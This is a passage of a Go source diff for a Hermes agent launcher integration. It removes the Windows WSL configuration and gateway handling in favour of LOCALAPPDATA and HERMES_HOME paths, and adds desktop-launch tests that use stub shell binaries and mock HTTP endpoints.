return hermesCommand("wsl.exe", "bash", "-lc", shellQuoteArgs(args)).CombinedOutput()
|
||||
}
|
||||
|
||||
func (h *Hermes) wslAvailable() bool {
|
||||
_, err := hermesLookPath("wsl.exe")
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func (h *Hermes) wslHasHermes() bool {
|
||||
if !h.wslAvailable() {
|
||||
return false
|
||||
}
|
||||
cmd := hermesCommand("wsl.exe", "bash", "-lc", "command -v hermes >/dev/null 2>&1")
|
||||
return cmd.Run() == nil
|
||||
}
|
||||
|
||||
func (h *Hermes) configBackend() (*hermesConfigBackend, error) {
|
||||
if hermesGOOS == "windows" {
|
||||
if _, err := hermesLookPath("hermes"); err == nil {
|
||||
return hermesLocalConfigBackend()
|
||||
if localAppData := strings.TrimSpace(os.Getenv("LOCALAPPDATA")); localAppData != "" {
|
||||
return filepath.Join(localAppData, "hermes"), nil
|
||||
}
|
||||
if h.wslAvailable() {
|
||||
return h.wslConfigBackend()
|
||||
home, err := hermesUserHome()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(home, "AppData", "Local", "hermes"), nil
|
||||
}
|
||||
return hermesLocalConfigBackend()
|
||||
}
|
||||
|
||||
func hermesConfigPath() (string, error) {
|
||||
home, err := hermesUserHome()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(home, ".hermes", "config.yaml"), nil
|
||||
return filepath.Join(home, ".hermes"), nil
|
||||
}
|
||||
|
||||
func hermesLocalConfigBackend() (*hermesConfigBackend, error) {
|
||||
configPath, err := hermesConfigPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &hermesConfigBackend{
|
||||
displayPath: configPath,
|
||||
read: func() ([]byte, error) {
|
||||
return os.ReadFile(configPath)
|
||||
},
|
||||
write: func(data []byte) error {
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(configPath, data)
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *Hermes) wslConfigBackend() (*hermesConfigBackend, error) {
|
||||
home, err := h.wslHome()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
configPath := pathpkg.Join(home, ".hermes", "config.yaml")
|
||||
return &hermesConfigBackend{
|
||||
displayPath: configPath,
|
||||
read: func() ([]byte, error) {
|
||||
return h.readWSLFile(configPath)
|
||||
},
|
||||
write: func(data []byte) error {
|
||||
return h.writeWSLConfig(configPath, data)
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *Hermes) wslHome() (string, error) {
|
||||
if !h.wslAvailable() {
|
||||
return "", fmt.Errorf("wsl.exe is not available")
|
||||
}
|
||||
cmd := hermesCommand("wsl.exe", "bash", "-lc", `printf %s "$HOME"`)
|
||||
out, err := cmd.Output()
|
||||
func hermesConfigPath() (string, error) {
|
||||
home, err := hermesHomePath()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
home := strings.TrimSpace(string(out))
|
||||
if home == "" {
|
||||
return "", fmt.Errorf("could not resolve WSL home directory")
|
||||
}
|
||||
return home, nil
|
||||
}
|
||||
|
||||
func (h *Hermes) readWSLFile(path string) ([]byte, error) {
|
||||
pathArg := shellQuoteArgs([]string{path})
|
||||
cmd := hermesCommand("wsl.exe", "bash", "-lc", fmt.Sprintf("if [ -f %s ]; then cat %s; else exit 42; fi", pathArg, pathArg))
|
||||
out, err := cmd.Output()
|
||||
if err == nil {
|
||||
return out, nil
|
||||
}
|
||||
var exitErr *exec.ExitError
|
||||
if errors.As(err, &exitErr) && exitErr.ExitCode() == 42 {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
func (h *Hermes) writeWSLConfig(path string, data []byte) error {
|
||||
if existing, err := h.readWSLFile(path); err == nil {
|
||||
if !bytes.Equal(existing, data) {
|
||||
if err := hermesBackupData(path, existing); err != nil {
|
||||
return fmt.Errorf("backup failed: %w", err)
|
||||
}
|
||||
}
|
||||
} else if !os.IsNotExist(err) {
|
||||
return fmt.Errorf("read existing file: %w", err)
|
||||
}
|
||||
|
||||
dir := pathpkg.Dir(path)
|
||||
dirArg := shellQuoteArgs([]string{dir})
|
||||
pathArg := shellQuoteArgs([]string{path})
|
||||
script := fmt.Sprintf(
|
||||
"dir=%s; path=%s; mkdir -p \"$dir\" && tmp=$(mktemp \"$dir/.tmp-XXXXXX\") && cat > \"$tmp\" && mv \"$tmp\" \"$path\"",
|
||||
dirArg,
|
||||
pathArg,
|
||||
)
|
||||
cmd := hermesCommand("wsl.exe", "bash", "-lc", script)
|
||||
cmd.Stdin = bytes.NewReader(data)
|
||||
if out, err := cmd.CombinedOutput(); err != nil {
|
||||
if msg := strings.TrimSpace(string(out)); msg != "" {
|
||||
return fmt.Errorf("%w: %s", err, msg)
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func hermesBackupData(path string, data []byte) error {
|
||||
if err := os.MkdirAll(fileutil.BackupDir(), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
backupPath := filepath.Join(fileutil.BackupDir(), fmt.Sprintf("%s.%d", filepath.Base(path), time.Now().Unix()))
|
||||
return os.WriteFile(backupPath, data, 0o644)
|
||||
return filepath.Join(home, "config.yaml"), nil
|
||||
}
|
||||
|
||||
func hermesBaseURL() string {
|
||||
@@ -504,11 +486,11 @@ func hermesBaseURL() string {
|
||||
}
|
||||
|
||||
func hermesEnvPath() (string, error) {
|
||||
home, err := hermesUserHome()
|
||||
home, err := hermesHomePath()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(home, ".hermes", ".env"), nil
|
||||
return filepath.Join(home, ".env"), nil
|
||||
}
|
||||
|
||||
func (h *Hermes) runGatewaySetupPreflight(args []string, runSetup func() error) error {
|
||||
@@ -554,8 +536,11 @@ func (h *Hermes) messagingConfigured() bool {
|
||||
func (h *Hermes) gatewayEnvVars() (map[string]string, error) {
|
||||
envVars := make(map[string]string)
|
||||
|
||||
data, err := h.readGatewayEnvFile()
|
||||
switch {
|
||||
envFilePath, err := hermesEnvPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
switch data, err := os.ReadFile(envFilePath); {
|
||||
case err == nil:
|
||||
for key, value := range hermesParseEnvFile(data) {
|
||||
envVars[key] = value
|
||||
@@ -566,12 +551,10 @@ func (h *Hermes) gatewayEnvVars() (map[string]string, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if h.usesLocalRuntimeEnv() {
|
||||
for _, group := range hermesMessagingEnvGroups {
|
||||
for _, key := range group {
|
||||
if value, ok := os.LookupEnv(key); ok {
|
||||
envVars[key] = value
|
||||
}
|
||||
for _, group := range hermesMessagingEnvGroups {
|
||||
for _, key := range group {
|
||||
if value, ok := os.LookupEnv(key); ok {
|
||||
envVars[key] = value
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -579,39 +562,6 @@ func (h *Hermes) gatewayEnvVars() (map[string]string, error) {
|
||||
return envVars, nil
|
||||
}
|
||||
|
||||
func (h *Hermes) readGatewayEnvFile() ([]byte, error) {
|
||||
if hermesGOOS == "windows" {
|
||||
if _, err := hermesLookPath("hermes"); err == nil {
|
||||
path, err := hermesEnvPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return os.ReadFile(path)
|
||||
}
|
||||
if h.wslAvailable() {
|
||||
home, err := h.wslHome()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return h.readWSLFile(pathpkg.Join(home, ".hermes", ".env"))
|
||||
}
|
||||
}
|
||||
|
||||
path, err := hermesEnvPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return os.ReadFile(path)
|
||||
}
|
||||
|
||||
func (h *Hermes) usesLocalRuntimeEnv() bool {
|
||||
if hermesGOOS != "windows" {
|
||||
return true
|
||||
}
|
||||
_, err := hermesLookPath("hermes")
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func (h *Hermes) gatewayRunning() (bool, error) {
|
||||
status, err := h.gatewayStatusOutput()
|
||||
if err != nil {
|
||||
@@ -621,19 +571,7 @@ func (h *Hermes) gatewayRunning() (bool, error) {
|
||||
}
|
||||
|
||||
func (h *Hermes) gatewayStatusOutput() (string, error) {
|
||||
if hermesGOOS == "windows" {
|
||||
if path, err := hermesLookPath("hermes"); err == nil {
|
||||
out, err := hermesCommand(path, "gateway", "status").CombinedOutput()
|
||||
return string(out), err
|
||||
}
|
||||
if !h.wslAvailable() {
|
||||
return "", hermesWindowsHint(fmt.Errorf("hermes is not installed"))
|
||||
}
|
||||
out, err := h.runWSLCombinedOutput("hermes", "gateway", "status")
|
||||
return string(out), err
|
||||
}
|
||||
|
||||
bin, err := h.findUnixBinary()
|
||||
bin, err := h.binary()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -642,20 +580,7 @@ func (h *Hermes) gatewayStatusOutput() (string, error) {
|
||||
}
|
||||
|
||||
func (h *Hermes) restartGateway() error {
|
||||
if hermesGOOS == "windows" {
|
||||
if path, err := hermesLookPath("hermes"); err == nil {
|
||||
return hermesAttachedCommand(path, "gateway", "restart").Run()
|
||||
}
|
||||
if !h.wslAvailable() {
|
||||
return hermesWindowsHint(fmt.Errorf("hermes is not installed"))
|
||||
}
|
||||
if err := h.runWSL("hermes", "gateway", "restart"); err != nil {
|
||||
return hermesWindowsHint(err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
bin, err := h.findUnixBinary()
|
||||
bin, err := h.binary()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -938,14 +863,6 @@ func mergeHermesToolsets(current any) any {
|
||||
}
|
||||
}
|
||||
|
||||
func shellQuoteArgs(args []string) string {
|
||||
quoted := make([]string, 0, len(args))
|
||||
for _, arg := range args {
|
||||
quoted = append(quoted, "'"+strings.ReplaceAll(arg, "'", `'\''`)+"'")
|
||||
}
|
||||
return strings.Join(quoted, " ")
|
||||
}
|
||||
|
||||
func hermesAttachedCommand(name string, args ...string) *exec.Cmd {
|
||||
cmd := hermesCommand(name, args...)
|
||||
cmd.Stdin = os.Stdin
|
||||
@@ -953,10 +870,3 @@ func hermesAttachedCommand(name string, args ...string) *exec.Cmd {
|
||||
cmd.Stderr = os.Stderr
|
||||
return cmd
|
||||
}
|
||||
|
||||
func hermesWindowsHint(err error) error {
|
||||
if hermesGOOS != "windows" {
|
||||
return err
|
||||
}
|
||||
return fmt.Errorf("%w\n\nHermes runs on Windows through WSL2.\nQuick setup: wsl --install\nInstaller docs: https://hermes-agent.nousresearch.com/docs/getting-started/installation/", err)
|
||||
}
|
||||
+245
-141
@@ -8,6 +8,7 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
@@ -49,15 +50,6 @@ func withHermesUserHome(t *testing.T, dir string) {
|
||||
})
|
||||
}
|
||||
|
||||
func withHermesLookPath(t *testing.T, fn func(string) (string, error)) {
|
||||
t.Helper()
|
||||
old := hermesLookPath
|
||||
hermesLookPath = fn
|
||||
t.Cleanup(func() {
|
||||
hermesLookPath = old
|
||||
})
|
||||
}
|
||||
|
||||
func clearHermesMessagingEnvVars(t *testing.T) {
|
||||
t.Helper()
|
||||
for _, group := range hermesMessagingEnvGroups {
|
||||
@@ -74,6 +66,20 @@ func clearHermesMessagingEnvVars(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func clearHermesDesktopPackageEnvVars(t *testing.T) {
|
||||
t.Helper()
|
||||
for _, key := range []string{"HERMES_INSTALL_DIR", "HERMES_HOME", "LOCALAPPDATA"} {
|
||||
if value, ok := os.LookupEnv(key); ok {
|
||||
t.Setenv(key, value)
|
||||
} else {
|
||||
t.Setenv(key, "")
|
||||
}
|
||||
if err := os.Unsetenv(key); err != nil {
|
||||
t.Fatalf("unset %s: %v", key, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesIntegration(t *testing.T) {
|
||||
h := &Hermes{}
|
||||
|
||||
@@ -112,6 +118,8 @@ func TestHermesConfigurePreservesExistingConfigAndEnablesWeb(t *testing.T) {
|
||||
switch r.URL.Path {
|
||||
case "/api/show":
|
||||
fmt.Fprint(w, `{"model_info":{"general.context_length":131072}}`)
|
||||
case "/api/experimental/model-recommendations":
|
||||
fmt.Fprint(w, `{"recommendations":[]}`)
|
||||
case "/api/tags":
|
||||
fmt.Fprint(w, `{"models":[{"name":"gemma4"},{"name":"qwen3.5"},{"name":"llama3.3"}]}`)
|
||||
default:
|
||||
@@ -224,6 +232,8 @@ func TestHermesConfigureUpdatesMatchingCustomProviderWithoutDroppingFields(t *te
|
||||
switch r.URL.Path {
|
||||
case "/api/show":
|
||||
fmt.Fprint(w, `{"model_info":{"general.context_length":131072}}`)
|
||||
case "/api/experimental/model-recommendations":
|
||||
fmt.Fprint(w, `{"recommendations":[]}`)
|
||||
case "/api/tags":
|
||||
fmt.Fprint(w, `{"models":[{"name":"gemma4"},{"name":"qwen3.5"},{"name":"llama3.3"}]}`)
|
||||
default:
|
||||
@@ -300,6 +310,8 @@ func TestHermesConfigureUsesLaunchResolvedHostForModelDiscovery(t *testing.T) {
|
||||
switch r.URL.Path {
|
||||
case "/api/show":
|
||||
fmt.Fprint(w, `{"model_info":{"general.context_length":131072}}`)
|
||||
case "/api/experimental/model-recommendations":
|
||||
fmt.Fprint(w, `{"recommendations":[]}`)
|
||||
case "/api/tags":
|
||||
fmt.Fprint(w, `{"models":[{"name":"gemma4"},{"name":"qwen3.5"},{"name":"llama3.3"}]}`)
|
||||
default:
|
||||
@@ -365,6 +377,8 @@ func TestHermesConfigureMigratesLegacyManagedAliases(t *testing.T) {
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/experimental/model-recommendations":
|
||||
fmt.Fprint(w, `{"recommendations":[]}`)
|
||||
case "/api/tags":
|
||||
fmt.Fprint(w, `{"models":[{"name":"gemma4"},{"name":"qwen3.5"}]}`)
|
||||
default:
|
||||
@@ -409,19 +423,36 @@ func TestHermesConfigureMigratesLegacyManagedAliases(t *testing.T) {
|
||||
func TestHermesPathsUsesLocalConfigPathForNativeWindowsHermes(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
winHome := filepath.Join(tmpDir, "winhome")
|
||||
localAppData := filepath.Join(tmpDir, "LocalAppData")
|
||||
setTestHome(t, winHome)
|
||||
withHermesPlatform(t, "windows")
|
||||
withHermesUserHome(t, winHome)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
t.Setenv("LOCALAPPDATA", localAppData)
|
||||
writeFakeBinary(t, tmpDir, "hermes")
|
||||
|
||||
got := (&Hermes{}).Paths()
|
||||
want := filepath.Join(winHome, ".hermes", "config.yaml")
|
||||
want := filepath.Join(localAppData, "hermes", "config.yaml")
|
||||
if len(got) != 1 || got[0] != want {
|
||||
t.Fatalf("expected local config path %q, got %v", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesPathsUsesHermesHomeOverride(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
hermesHome := filepath.Join(tmpDir, "custom-hermes-home")
|
||||
setTestHome(t, filepath.Join(tmpDir, "home"))
|
||||
withHermesPlatform(t, "windows")
|
||||
t.Setenv("HERMES_HOME", hermesHome)
|
||||
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
|
||||
|
||||
got := (&Hermes{}).Paths()
|
||||
want := filepath.Join(hermesHome, "config.yaml")
|
||||
if len(got) != 1 || got[0] != want {
|
||||
t.Fatalf("expected HERMES_HOME config path %q, got %v", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesCurrentModelRequiresHealthyManagedConfig(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
@@ -553,7 +584,7 @@ func TestHermesRunPassthroughArgs(t *testing.T) {
|
||||
}
|
||||
|
||||
h := &Hermes{}
|
||||
if err := h.Run("", []string{"--continue"}); err != nil {
|
||||
if err := h.Run("", nil, []string{"--continue"}); err != nil {
|
||||
t.Fatalf("Run returned error: %v", err)
|
||||
}
|
||||
|
||||
@@ -566,6 +597,172 @@ func TestHermesRunPassthroughArgs(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func writeHermesDesktopPackage(t *testing.T, home string) {
|
||||
t.Helper()
|
||||
writeHermesDesktopExecutable(t,
|
||||
filepath.Join(home, ".hermes", "hermes-agent", "apps", "desktop", "release"),
|
||||
hermesDesktopTestExecutableRelativePath(hermesGOOS),
|
||||
)
|
||||
}
|
||||
|
||||
func writeHermesDesktopExecutable(t *testing.T, releaseRoot, relative string) {
|
||||
t.Helper()
|
||||
path := filepath.Join(releaseRoot, relative)
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(path, []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func hermesDesktopTestExecutableRelativePath(goos string) string {
|
||||
switch goos {
|
||||
case "darwin":
|
||||
return filepath.Join("mac-arm64", "Hermes.app", "Contents", "MacOS", "Hermes")
|
||||
case "windows":
|
||||
return filepath.Join("win-unpacked", "Hermes.exe")
|
||||
default:
|
||||
return filepath.Join("linux-unpacked", "hermes")
|
||||
}
|
||||
}
|
||||
|
||||
func writeHermesDesktopTestBinary(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
bin := filepath.Join(dir, "hermes")
|
||||
if err := os.WriteFile(bin, []byte("#!/bin/sh\nprintf '[%s]\\n' \"$*\" >> \"$HOME/hermes-invocations.log\"\n"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func readHermesDesktopInvocations(t *testing.T, home string) string {
|
||||
t.Helper()
|
||||
data, err := os.ReadFile(filepath.Join(home, "hermes-invocations.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return strings.TrimSpace(string(data))
|
||||
}
|
||||
|
||||
func TestHermesDesktopRun(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses a POSIX shell test binary")
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
goos string
|
||||
args []string
|
||||
hasPackage bool
|
||||
clearPkgEnv bool
|
||||
want string
|
||||
}{
|
||||
{
|
||||
name: "desktop subcommand",
|
||||
goos: "darwin",
|
||||
args: []string{"--foreground"},
|
||||
clearPkgEnv: true,
|
||||
want: "[desktop --foreground]",
|
||||
},
|
||||
{
|
||||
name: "skip build when packaged app exists",
|
||||
goos: runtime.GOOS,
|
||||
args: []string{"--cwd", "/tmp/project"},
|
||||
hasPackage: true,
|
||||
want: "[desktop --skip-build --cwd /tmp/project]",
|
||||
},
|
||||
{
|
||||
name: "explicit skip build",
|
||||
goos: runtime.GOOS,
|
||||
args: []string{"--skip-build"},
|
||||
hasPackage: true,
|
||||
want: "[desktop --skip-build]",
|
||||
},
|
||||
{
|
||||
name: "source mode",
|
||||
goos: runtime.GOOS,
|
||||
args: []string{"--source"},
|
||||
hasPackage: true,
|
||||
want: "[desktop --source]",
|
||||
},
|
||||
{
|
||||
name: "build only",
|
||||
goos: runtime.GOOS,
|
||||
args: []string{"--build-only"},
|
||||
hasPackage: true,
|
||||
want: "[desktop --build-only]",
|
||||
},
|
||||
{
|
||||
name: "help",
|
||||
goos: runtime.GOOS,
|
||||
args: []string{"--help"},
|
||||
hasPackage: true,
|
||||
want: "[desktop --help]",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withLauncherHooks(t)
|
||||
withInteractiveSession(t, true)
|
||||
withHermesPlatform(t, tt.goos)
|
||||
clearHermesMessagingEnvVars(t)
|
||||
if tt.clearPkgEnv {
|
||||
clearHermesDesktopPackageEnvVars(t)
|
||||
}
|
||||
t.Setenv("PATH", tmpDir+string(os.PathListSeparator)+os.Getenv("PATH"))
|
||||
if tt.hasPackage {
|
||||
writeHermesDesktopPackage(t, tmpDir)
|
||||
}
|
||||
writeHermesDesktopTestBinary(t, tmpDir)
|
||||
|
||||
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
|
||||
t.Fatalf("did not expect messaging prompt during desktop launch: %s", prompt)
|
||||
return false, nil
|
||||
}
|
||||
|
||||
if err := (&HermesDesktop{}).Run("", nil, tt.args); err != nil {
|
||||
t.Fatalf("Run returned error: %v", err)
|
||||
}
|
||||
if got := readHermesDesktopInvocations(t, tmpDir); got != tt.want {
|
||||
t.Fatalf("expected %q, got %q", tt.want, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesDesktopRunUsesWindowsLocalAppDataPackage(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withHermesPlatform(t, "windows")
|
||||
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
|
||||
|
||||
writeHermesDesktopExecutable(t,
|
||||
filepath.Join(tmpDir, "LocalAppData", "hermes", "hermes-agent", "apps", "desktop", "release"),
|
||||
hermesDesktopTestExecutableRelativePath("windows"),
|
||||
)
|
||||
|
||||
got := (&HermesDesktop{}).launchArgs([]string{"--cwd", `C:\Users\me\project`})
|
||||
want := []string{"desktop", "--skip-build", "--cwd", `C:\Users\me\project`}
|
||||
if diff := compareStrings(got, want); diff != "" {
|
||||
t.Fatalf("Hermes Desktop launch args mismatch: %s", diff)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesDesktopReleaseRootsIncludeLinuxRootInstall(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withHermesPlatform(t, "linux")
|
||||
|
||||
got := hermesDesktopReleaseRoots()
|
||||
want := filepath.Join(string(filepath.Separator), "usr", "local", "lib", "hermes-agent", "apps", "desktop", "release")
|
||||
if !slices.Contains(got, want) {
|
||||
t.Fatalf("expected Linux root install release path %q in %v", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesRun_PromptsForMessagingSetupBeforeDefaultLaunch(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses a POSIX shell test binary")
|
||||
@@ -604,7 +801,7 @@ fi
|
||||
}
|
||||
|
||||
h := &Hermes{}
|
||||
if err := h.Run("", nil); err != nil {
|
||||
if err := h.Run("", nil, nil); err != nil {
|
||||
t.Fatalf("Run returned error: %v", err)
|
||||
}
|
||||
|
||||
@@ -656,10 +853,10 @@ func TestHermesRun_SetUpLaterRepromptsOnLaterLaunches(t *testing.T) {
|
||||
}
|
||||
|
||||
h := &Hermes{}
|
||||
if err := h.Run("", nil); err != nil {
|
||||
if err := h.Run("", nil, nil); err != nil {
|
||||
t.Fatalf("first Run returned error: %v", err)
|
||||
}
|
||||
if err := h.Run("", nil); err != nil {
|
||||
if err := h.Run("", nil, nil); err != nil {
|
||||
t.Fatalf("second Run returned error: %v", err)
|
||||
}
|
||||
|
||||
@@ -714,7 +911,7 @@ func TestHermesRun_SkipsMessagingPromptWhenConfigured(t *testing.T) {
|
||||
}
|
||||
|
||||
h := &Hermes{}
|
||||
if err := h.Run("", nil); err != nil {
|
||||
if err := h.Run("", nil, nil); err != nil {
|
||||
t.Fatalf("Run returned error: %v", err)
|
||||
}
|
||||
|
||||
@@ -754,7 +951,7 @@ func TestHermesRun_SkipsMessagingPromptWithYesPolicy(t *testing.T) {
|
||||
}
|
||||
|
||||
h := &Hermes{}
|
||||
if err := h.Run("", nil); err != nil {
|
||||
if err := h.Run("", nil, nil); err != nil {
|
||||
t.Fatalf("Run returned error: %v", err)
|
||||
}
|
||||
|
||||
@@ -799,7 +996,7 @@ fi
|
||||
}
|
||||
|
||||
h := &Hermes{}
|
||||
err := h.Run("", nil)
|
||||
err := h.Run("", nil, nil)
|
||||
if err == nil {
|
||||
t.Fatal("expected messaging setup failure")
|
||||
}
|
||||
@@ -896,64 +1093,6 @@ fi
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesRefreshRuntimeAfterConfigure_WindowsWSLRestartsRunningGateway(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses POSIX shell test binaries to simulate WSL")
|
||||
}
|
||||
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withHermesPlatform(t, "windows")
|
||||
t.Setenv("PATH", tmpDir+string(os.PathListSeparator)+os.Getenv("PATH"))
|
||||
|
||||
wslPath := filepath.Join(tmpDir, "wsl.exe")
|
||||
wslScript := `#!/bin/sh
|
||||
printf '[%s]\n' "$*" >> "$HOME/wsl-invocations.log"
|
||||
exec /bin/sh -lc "$3"
|
||||
`
|
||||
if err := os.WriteFile(wslPath, []byte(wslScript), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
hermesBin := filepath.Join(tmpDir, "hermes")
|
||||
hermesScript := `#!/bin/sh
|
||||
printf '[%s]\n' "$*" >> "$HOME/hermes-invocations.log"
|
||||
if [ "$1" = "gateway" ] && [ "$2" = "status" ]; then
|
||||
printf '✓ Gateway is running (PID: 321)\n'
|
||||
fi
|
||||
`
|
||||
if err := os.WriteFile(hermesBin, []byte(hermesScript), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
withHermesLookPath(t, func(file string) (string, error) {
|
||||
if file == "wsl.exe" {
|
||||
return wslPath, nil
|
||||
}
|
||||
return "", os.ErrNotExist
|
||||
})
|
||||
|
||||
h := &Hermes{}
|
||||
if err := h.RefreshRuntimeAfterConfigure(); err != nil {
|
||||
t.Fatalf("RefreshRuntimeAfterConfigure returned error: %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(filepath.Join(tmpDir, "hermes-invocations.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
|
||||
if len(lines) != 2 {
|
||||
t.Fatalf("expected WSL status then restart invocations, got %v", lines)
|
||||
}
|
||||
if lines[0] != "[gateway status]" {
|
||||
t.Fatalf("expected WSL gateway status first, got %q", lines[0])
|
||||
}
|
||||
if lines[1] != "[gateway restart]" {
|
||||
t.Fatalf("expected WSL gateway restart second, got %q", lines[1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesMessagingConfiguredRecognizesSupportedGatewayVars(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
@@ -1002,94 +1141,59 @@ func TestHermesMessagingConfiguredRecognizesSupportedGatewayVars(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesRunWindowsWSL_UsesGatewaySetupPreflight(t *testing.T) {
|
||||
func TestHermesEnsureInstalledWindowsRunsPowerShellInstaller(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses POSIX shell test binaries to simulate WSL")
|
||||
t.Skip("uses a POSIX shell test binary")
|
||||
}
|
||||
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withLauncherHooks(t)
|
||||
withInteractiveSession(t, true)
|
||||
withHermesPlatform(t, "windows")
|
||||
clearHermesMessagingEnvVars(t)
|
||||
t.Setenv("PATH", tmpDir+string(os.PathListSeparator)+os.Getenv("PATH"))
|
||||
t.Setenv("PATH", tmpDir)
|
||||
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "AppData", "Local"))
|
||||
|
||||
wslPath := filepath.Join(tmpDir, "wsl.exe")
|
||||
wslScript := `#!/bin/sh
|
||||
printf '[%s]\n' "$*" >> "$HOME/wsl-invocations.log"
|
||||
exec /bin/sh -lc "$3"
|
||||
`
|
||||
if err := os.WriteFile(wslPath, []byte(wslScript), 0o755); err != nil {
|
||||
powershell := filepath.Join(tmpDir, "powershell.exe")
|
||||
script := fmt.Sprintf(`#!/bin/sh
|
||||
printf '%%s\n' "$*" >> %q
|
||||
/bin/mkdir -p %q
|
||||
/bin/cat > %q <<'EOS'
|
||||
#!/bin/sh
|
||||
exit 0
|
||||
EOS
|
||||
/bin/chmod +x %q
|
||||
exit 0
|
||||
`,
|
||||
filepath.Join(tmpDir, "powershell.log"),
|
||||
filepath.Dir(filepath.Join(tmpDir, "AppData", "Local", "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe")),
|
||||
filepath.Join(tmpDir, "AppData", "Local", "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe"),
|
||||
filepath.Join(tmpDir, "AppData", "Local", "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe"),
|
||||
)
|
||||
if err := os.WriteFile(powershell, []byte(script), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
hermesBin := filepath.Join(tmpDir, "hermes")
|
||||
hermesScript := `#!/bin/sh
|
||||
printf '[%s]\n' "$*" >> "$HOME/hermes-invocations.log"
|
||||
if [ "$1" = "gateway" ] && [ "$2" = "setup" ]; then
|
||||
/bin/mkdir -p "$HOME/.hermes"
|
||||
printf 'TELEGRAM_BOT_TOKEN=configured\n' > "$HOME/.hermes/.env"
|
||||
fi
|
||||
`
|
||||
